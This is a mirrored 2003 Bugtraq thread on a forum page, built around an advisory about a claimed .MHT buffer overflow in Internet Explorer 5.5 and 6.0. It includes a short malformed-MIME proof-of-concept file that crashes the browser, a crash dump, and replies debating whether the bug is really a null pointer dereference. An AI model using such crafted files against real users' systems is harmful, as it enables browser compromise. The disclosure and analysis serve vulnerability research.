Likes Likes:  0
Resultaten 1 tot 3 van de 3
Geen
  1. #1
    jelmer
    Re: .MHT Buffer Overflow in Internet Explorer
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: .MHT Buffer Overflow in Internet Explorer

    I believe from ie6 SP1 on IE doesn't open any mht files directly from the
    web anymore.
    from the local filesystem it still works though.


    ----- Original Message -----
    From: "Tom Tanaka" <tomatell@canon-sol.jp>
    To: <bugtraq@securityfocus.com>
    Sent: Monday, March 10, 2003 5:30 AM
    Subject: .MHT Buffer Overflow in Internet Explorer


    >
    >
    > CANON SYSTEM SOLUTIONS INC. Security Alert
    >
    > VULNERABILITY:.MHT Buffer Overflow in Internet Explorer
    >
    > DATE FOUND:March 2, 2003
    >
    > Severity:High Risk(code can be executed remotely)
    > ================================================== ========================
    > ====
    > SUMMARY:
    >
    > IE5 introduced the new 'Web Archive' format for storing web pages, which
    > have the extension MHT. The 'Web Archive' saves a web page as a single
    > document complete with all images. The format is a standard
    > mime/multipart e-mail message, a mime decoding program such as 7bit, 8bit
    > and Base 64 decoder should be able to turn it into something usable with
    > your OS and browser of choice.
    >
    > This format is pretty nifty and usable, however, there is a potential
    > security breach found when used with encoded executable along with
    > malformed MIME header in the 'Web Archive'. If the encode data is
    > executable or has a single word "MZP" encoded within and Content-Type is
    > not designated, IE5 will be terminated by critical buffer
    > overflow.Consequently, one could compromise the client pc by executing
    > malicious code in the memory.
    > ================================================== ========================
    > ====
    > AFFECTED SYSTEM:
    >
    > Microsoft Internet Explorer 5.5 and 6.0; prior versions are not
    > vulnerable.
    > ================================================== ========================
    > ====
    > ANALYSIS:
    >
    > RFC822 describes the structure of message header used for the MIME. The
    > followings are some of the identifiers defined for the MIME header.
    >
    >  MIME-Version:
    >  Content-Type:
    >  Content-Trasfer-Encoding:
    >  Content-ID:
    >  Content-Description:
    >
    > The 'Content-Type' is used for defining the types of media transfered.
    > The 'Web Archive' format utilizes the Multipart/Related content-type
    > (defined in RFC2387) to properly embed the multiple web content files. As
    > described in RFC2387, the Multipart/Related content-type provides a
    > common mechanism for representing objects that are aggregates of related
    > MIME body parts. When tranferring html or plain text data encoded in
    > the 'Web Archive', IE5 interprets as a plain text with 'carriage return'
    > code(0D0A) , otherwise as binary data without 'carriage return' code
    > (0D0A). By manipulating the MIME header structure and the Base64 encoded
    > data as an executable,4 bytes of memory can be overwritten.
    >
    >
    > PROOF OF CONCEPT:
    >
    > The following format is usually used for the Web Archive.
    > ----------------------------------------------
    > From: <Saved from Microsoft Internet Explorer 5>
    > Subject: =?iso-2022-jp?B?
    > GyRCJT0lVSVIJSYlJyUiJVclbSVAJS8lSBsoQiBIb21lUGFnZQ ==?=
    > Date: Tue, 4 Mar 2003 02:16:23 +0900
    > MIME-Version: 1.0
    > Content-Type: multipart/related;
    > boundary="----=_NextPart_000_0000_01C2E1F4.0D559EA0";
    > type="text/html"
    > X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
    >
    > This is a multi-part message in MIME format.
    >
    > ------=_NextPart_000_0000_01C2E1F4.0D559EA0
    > Content-Location:file:///tomatell.exe
    > Content-Transfer-Encoding: base64
    >
    > TVpQ
    > ----------------------------------------------
    >
    >
    > The following sample format contains malformed MIME header along with the
    > Base64 encoded executable.
    > ----------------------------------------------
    > MIME-Version: 1.0
    > ------=_NextPart_000_0000_01C2E1F4.0D559EA0
    > Content-Location:file:///tomatell.exe
    > Content-Transfer-Encoding: base64
    >
    > TVpQ
    > ----------------------------------------------
    >
    > Note that the encoded string, "TVpQ", is the Win32 EXE signature located
    > at the first three bytes of the EXE header. This is for the Win32 system
    > to identify the data as a Win32 executable file. IE5 somehow reads this
    > signature and interprets the data as an executable whereas the MIME
    > encoder/decoder module,'inetcomm.dll', decodes as a plain 7 or 8 bit text
    > data. Thus, IE5 creates a stream with a smaller buffersize than that of
    > Base64 decoder has.
    >
    >
    > The following error will occur when the above file is browsed by IE5.
    >
    > Unhandled exception in iexplore.exe: 0xC0000005: Access Violation.
    >
    >
    >
    > By debugging through the crash dump, the exception error is generated at
    > the EIP(32-bit Instruction Pointer)=74CF497E called from inetcomm.dll to
    > Kernel32.
    >
    > Register
    > EAX = 00000000 EBX = 05AD3A20 ECX = 001FE074 EDX = 001FE190
    > ESI = 05AD39D8 EDI = 00000000 [EIP = 74CF497E] ESP = 0607B2BC
    > EBP = 0607B2FC EFL = 00000246
    >
    >
    > \KernelObjects\CritSecOutOfMemoryEvent
    >
    > 74cf494c ff157412cd74 call dword ptr
    > [KERNEL32.EnterCriticalSection]
    > 74cf4952 834e3c02 or dword ptr [esi+3c],+02
    > 74cf4956 33ff xor edi,edi
    > 74cf4958 397e1c cmp dword ptr [esi+1c],edi
    > 74cf495b 743f jz 74cf499c
    > 74cf495d 397c2410 cmp dword ptr [esp+10],edi
    > 74cf4961 8bce mov ecx,esi
    > 74cf4963 7d06 jnl 74cf496b
    > 74cf4965 ff742410 push dword ptr [esp+10]
    > 74cf4969 eb25 jmp short 74cf4990
    >
    > 74cf496b c746441f000000 mov dword ptr [esi+44],0000001f
    > 74cf4972 e888f3ffff call 74cf3cff
    > 74cf4977 3bc7 cmp eax,edi
    > 74cf4979 7c12 jl 74cf498d
    > 74cf497b 8b461c mov eax,dword ptr [esi+1c]
    > 74cf497e 8b08 mov ecx,dword ptr [eax] //Exception
    >
    >
    > You could test the vulnerablity by copying above exploit to a file with
    > an extention ".mht" and place it at the default root directory of IIS web
    > server and set it as a default html of the server.
    >
    > WORKAROUND:
    > Currently none available.
    >
    > Credit:
    > Tom Tanaka
    >
    > /_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
    > Tom Tanaka <tomatell@canon-sol.co.jp>
    > Technical Manager, Security
    > Software Products Department
    > Tokyo Office
    > CANON SYSTEM SOLUTIONS INC..
    > 1-2-18 Ikenohata Taito-ku, Tokyo 110-0008, Japan
    > Ph.: +81-3-5815-7243
    > Fax : +81-3-5815-7262
    > /_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
    >
    >
    >



  2. #2
    Jouko Pynnonen
    Re: .MHT Buffer Overflow in Internet Explorer
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: .MHT Buffer Overflow in Internet Explorer




    On 10 Mar 2003, Tom Tanaka wrote:

    > CANON SYSTEM SOLUTIONS INC. Security Alert
    >
    > VULNERABILITY:.MHT Buffer Overflow in Internet Explorer
    >
    > DATE FOUND:March 2, 2003
    >
    > Severity:High Risk(code can be executed remotely)



    [snip]


    > The following error will occur when the above file is browsed by IE5.
    >
    > Unhandled exception in iexplore.exe: 0xC0000005: Access Violation.
    >
    >
    >
    > By debugging through the crash dump, the exception error is generated at
    > the EIP(32-bit Instruction Pointer)=74CF497E called from inetcomm.dll to
    > Kernel32.
    >
    > Register
    > EAX = 00000000 EBX = 05AD3A20 ECX = 001FE074 EDX = 001FE190
    > ESI = 05AD39D8 EDI = 00000000 [EIP = 74CF497E] ESP = 0607B2BC
    > EBP = 0607B2FC EFL = 00000246



    [snip]


    > 74cf497b 8b461c mov eax,dword ptr [esi+1c]
    > 74cf497e 8b08 mov ecx,dword ptr [eax] //Exception





    At first glance, doesn't this look like a null pointer reference bug
    rather than a buffer overflow? The message didn't (clearly) specify which
    four bytes of memory the attacker could overwrite and how it would be
    possible to gain control of the program flow. Since you have classified
    this as critical, perhaps you could clarify these points? Does there
    exist a working exploit which does something else than crash IE? Thanks,




    --
    Jouko Pynnonen Online Solutions Ltd Secure your Linux -
    jouko@solutions.fi http://www.secmod.com



  3. #3
    Thor Larholm
    Re: .MHT Buffer Overflow in Internet Explorer
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: .MHT Buffer Overflow in Internet Explorer

    > From: "jelmer" <jelmer@kuperus.xs4all.nl>
    > I believe from ie6 SP1 on IE doesn't open any mht files directly from the
    > web anymore.
    > from the local filesystem it still works though.


    That's the funny thing, IE6 SP1 still allows opening MHT files directly from
    the web in the Internet Zone, so this is remotely exploitable on websites.

    Since MHT files are opened automatically, just like certain other media
    files, you can also open an MHT file automatically through an email message
    in the Restricted Zone.


    Regards
    Thor Larholm
    PivX Solutions, LLC - Senior Security Researcher


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics